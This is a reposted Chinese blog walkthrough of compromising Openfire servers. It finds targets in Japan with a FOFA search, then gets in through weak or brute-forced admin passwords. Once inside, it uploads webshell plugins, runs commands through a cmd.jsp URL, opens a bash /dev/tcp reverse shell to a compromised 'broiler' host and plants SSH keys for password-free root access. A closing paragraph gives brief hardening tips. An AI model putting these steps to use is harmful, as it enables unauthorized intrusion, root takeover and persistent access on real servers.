OpenFire后台插件上传获取webshell及免密码登录linux服务器

  1. 云栖社区>
  2. 博客>
  3. 正文

OpenFire后台插件上传获取webshell及免密码登录linux服务器

科技小能手 2017-11-12 15:58:00 浏览1535
展开阅读全文

     本次渗透源于高校任务,在渗透过程中发现,对方IP地址段安装有opernfire,服务器8080端口可以正常访问,后面通过了解Openfire是开源的、基于可拓展通讯和表示协议(XMPP)、采用Java编程语言开发的实时协作服务器。 Openfire安装和使用都非常简单,并利用Web进行管理,单台服务器可支持上万并发用户,一般在大型企业用的比较多。OpenfireJboss类似,也可以通过插件上传来获取Webshell,只是Openfire的插件需要修改代码并进行编译,经过研究测试,只要有登录账号,通过上传插件可以获取webshell,一般获取的权限都较高为root系统权限,国外服务器一般单独给Openfire权限,下面是整个渗透过程。

1.目标获取

1fofa.so网站使用搜索body="Openfire,版本: " && country=JP,可以获取日本存在的Openfire服务器。如图1所示。


141cf2a93e5cd9964039ee3b913bd0b2.jpg-wh_

1搜索目标

2.暴力或者使用弱口令登录系统

   一般弱口令admin/adminadmin/admin888admin/123456,如果不是这些请直接使用burpsuite进行暴力破解,能够正常访问的网站,如图2所示,openfire可能开放不同端口。

5a14b76c6927321429d3499736f7a693.jpg-wh_

2openfire后台登陆地址

3.进入后台

   输入密码正确后,如图3所示,进入后台,可以查看服务器设置,查看用户/用户群,查看会话,分组聊天以及插件等信息。

8820232d21c60400504311b54335dd2c.jpg-wh_3进入后台

4.查看并上传插件

   单击插件,再其中可以看到所有的插件列表,在上传插件下单击上传插件,选择专门生成的openfirewebshell的插件,如图4所示。

7e8f5d8a485696f9be1d4b231b79f8d7.jpg-wh_

4上传插件

在本次测试中,从互联网收集了连个插件,如图5所示,均成功上传。

3abe88f057b3f08f4d111009e5f859e4.jpg-wh_

5上传带webshell的插件

5.获取webshell

1helloworld插件获取webshell

  单击服务器-服务器设置,如图6所示,如果helloworld插件上传并运行成功,则会在配置文件下面生成一个用户接口设置。单击该链接即可获取webshel,如图7所示。

a910926703829d314fef4df59a355aef.jpg-wh_

6查看服务器设置

5dd528ef3c2dd0dea41a0b39b012a5d5.jpg-wh_

7获取webshell

2broadcast插件获取webshell

   通过url+ plugins/broadcast/webshell文件名称来和获取:

http://xxx.xxx.xxx.xxx:8080/plugins/broadcast/cmd.jsp?cmd=whoami

http://xxx.xxx.xxx.xxx:8080/plugins/broadcast/browser.jsp

   helloworld插件中也可以通过地址来获取

http://xxx.xxx.xxx.xxx:8080/plugins/helloworld/chakan.jsp

  如图8,图9所示,分别获取broadcastwebshell以及查看当前用户权限为root

a830a6f4a6cd0632f8557c74bade1015.jpg-wh_

8获取当前用户权限

2a4fbe6c0d3a45e51027788734b4dbd8.jpg-wh_

9获取webshell

6.root密码登录服务器

   渗透到这里按照过去的思路应该已经结束,不过笔者还想尝试另外一种思路,虽然我们通过webshell可以获取/etc/shadow文件,但该root及其它用户的密码明显不是那么容易被破解的。服务器上面用ssh,能否利用公私钥来解决访问问题。

1)反弹到肉鸡

执行一下命令,将该服务器反弹到肉鸡服务器xxx.xxx.xxx.xxx8080端口,需要提前使用nc监听8080端口,也即执行“nc-vv -l -p 8080”如图10所示。

fcaa09ea3bf1c3cc0ec7c3a99aedcc6b.jpg-wh_

10监听8080端口

2)反弹shell到肉鸡

执行命令“bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/8080 0>&1”反弹到肉鸡,如图11所示,获取一个反弹shell

ef091100f96d18cf15a5c9ffcf562105.jpg-wh_

11反弹shell

7.实际操作流程

1)远程服务器生成公私钥

 在被渗透的服务器上执行“ssh-keygen -t rsa”命令,默认三次回车,如图12所示,会在root/.ssh/目录下生成id_rsaid_rsa.pub,其中id_rsa为服务器私钥,特别重要,id_rsa.pub为公钥。

1b8dcb5686c26f2b3741ce965325d1d2.jpg-wh_

12在远处服务器上生成公私钥

2)本地linux 上生成公私钥

  在本地linux上执行命令ssh-keygen -t rsa”生成公私钥,将远程服务器的id_rsa下载到本地,执行命令“cat id_rsa > /root/.ssh/authorized_keys”命令,将远处服务器的私钥生成到authorized_keys文件。

3)将本地公钥上传到远程服务器上并生成authorized_keys

catid_rsa.pub >/root/.ssh/authorized_keys

4)删除多余文件

rmid_rsa.pub

rmid_rsa

5)登录服务器

   使用sshroot@1xx.1xx.111.1xx”登录服务器,不用输入远程服务器的密码,达到完美登录服务器的目的。

8总结

1Openfire需要获取管理员帐号和密码,目前通杀所有帮本。Openfire最新版本为4.1.5.

2)可以通过burpsuite进行admin管理员帐号的暴力破解。

3)使用openfire安全加固,可以使用强密码,同时严格设置插件权限,建议除了必须的插件目录外,禁用新创建目录。



 本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/1975430

网友评论

登录后评论
0/500
评论
科技小能手
+ 关注